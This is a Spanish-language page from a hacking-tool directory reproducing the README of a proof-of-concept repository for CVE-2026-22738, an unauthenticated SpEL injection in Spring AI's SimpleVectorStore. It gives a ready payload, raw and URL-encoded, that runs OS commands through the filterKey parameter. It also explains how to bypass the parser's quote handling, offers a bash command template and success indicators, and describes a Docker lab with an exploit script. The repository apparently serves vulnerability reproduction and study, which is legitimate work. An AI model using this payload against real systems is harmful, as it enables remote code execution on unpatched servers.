Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-22738 — SpEL Injection a través de la clave de filtro sin escapar en SimpleVectorStore conduce a la ejecución remota de código | Kitploit
Herramientas/GitHubGitHub/rockmelodies/cve-2026-22738
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsTroyano de Acceso Remoto
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL Injection a través de la clave de filtro sin escapar en SimpleVectorStore conduce a la ejecución remota de código

Ver Repositorio
21hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno de reproducción de CVE-2026-22738

img.png

Descripción de la vulnerabilidad

CVE-2026-22738 es una vulnerabilidad de inyección SpEL (Spring Expression Language) en Spring AI SimpleVectorStore que puede provocar la ejecución remota de código (RCE) sin autenticación.

Versiones afectadas

ArtifactVersiones afectadasVersión corregida
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Nota: Este proyecto utiliza la versión oficial spring-ai-core:1.0.0 para la reproducción de la vulnerabilidad.

Commit de corrección: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Principio de la vulnerabilidad

El método SimpleVectorStore.similaritySearch() pasa el nombre de la clave del filtro proporcionado por el usuario directamente a la plantilla SpEL, que se evalúa mediante StandardEvaluationContext. Dado que StandardEvaluationContext expone la API completa de reflexión de JVM, un atacante puede inyectar:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

Añadiendo la clave del filtro se consigue la ejecución de comandos del sistema operativo sin autenticación.

Reproducción de la vulnerabilidad

Utilice el siguiente payload; tenga en cuenta que es necesario realizar una codificación de URL

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Pase el payload al parámetro filterKey y la calculadora se abrirá correctamente img_1.png

Detalles de la evasión

El método de inyección simple no funciona directamente: es necesario superar dos peculiaridades del analizador:

  1. Eliminación de comillas simples — Una clave que comienza con comilla simple ' se trata como una cadena entre comillas; las comillas externas se eliminan, rompiendo el payload.

  2. Envoltorio de comillas dobles — Envolver el payload entre comillas dobles "..." hace que el analizador elimine las comillas dobles externas, conservando la expresión SpEL interna como valor de clave pasado al analizador #metadata['<KEY>'].

  3. Clave de metadatos vacía — El uso de #metadata[''] en ambos lados de la expresión inyectada (en lugar de una variable no definida) evita el error de variable desconocida de SpEL, mientras sigue activando exec().

La expresión calculada tiene la siguiente forma:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Indicadores de éxito

El cuerpo de la respuesta HTTP contendrá el error de tiempo de ejecución de SpEL EL1030E:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Este error se produce después de que exec() retorne, confirmando la ejecución del comando a nivel de sistema operativo sin necesidad de una devolución de llamada fuera de banda.

Configuración del entorno

Requisitos previos

  • Docker y Docker Compose
  • Python 3 + biblioteca requests (pip install requests)

Construir y ejecutar el entorno vulnerable

root@kitploit:~
# Construir e iniciar los contenedores
docker compose up -d --build

# Ver los registros
docker compose logs -f

Ejecutar el script de explotación

root@kitploit:~
# Instalar dependencias
pip install requests

# Ejecutar la explotación (esperar a que la aplicación se inicie)
python3 exploit.py --wait

# O especificar el objetivo
python3 exploit.py --target http://localhost:8082 --wait

Descripción de parámetros

IndicadorValor predeterminadoDescripción
--targethttp://localhost:8082URL base de la aplicación vulnerable
--waitDesactivadoSondea hasta que el objetivo esté listo (útil después de docker compose up)

Nota: Docker Desktop (macOS/Windows) utiliza host.docker.internal para las devoluciones de llamada; el payload 127.0.0.1 funciona.

Pasos de explotación

El flujo de la prueba de concepto consta de cinco pasos consecutivos:

  1. Comprobación de referencia — Confirmar que el endpoint es accesible y devuelve datos semilla
  2. Sonda SpEL ciega — Confirmar el punto de inyección leyendo java.version mediante T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 dentro del contenedor
  4. RCE: Escribir la salida de id // uname // hostname en /tmp/rce_proof.txt
  5. Verificación: Imprimir el contenido del archivo de prueba mediante docker exec

Estructura del proyecto

root@kitploit:~
├── Dockerfile                    # Archivo de construcción de Docker
├── docker-compose.yml            # Configuración de Docker Compose
├── pom.xml                       # Configuración del proyecto Maven
├── settings.xml                  # Configuración de Maven (incluye repositorios de Spring)
├── exploit.py                    # Script de explotación
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Clase principal de Spring Boot
    ├── VulnController.java           # Controlador vulnerable
    ├── VectorStoreConfig.java        # Configuración de VectorStore
    └── DummyEmbeddingModel.java      # Modelo de Embedding simulado

Pruebas locales (sin Docker)

root@kitploit:~
# Compilar el proyecto
mvn clean package -DskipTests

# Ejecutar la aplicación
java -jar target/spel-rce-lab-1.0.0.jar

# Ejecutar la explotación en otra terminal
python3 exploit.py --target http://localhost:8082

Referencias

  • CVE-2026-22738
  • Commit de corrección de Spring AI
  • Proyecto PoC original
Descargar herramienta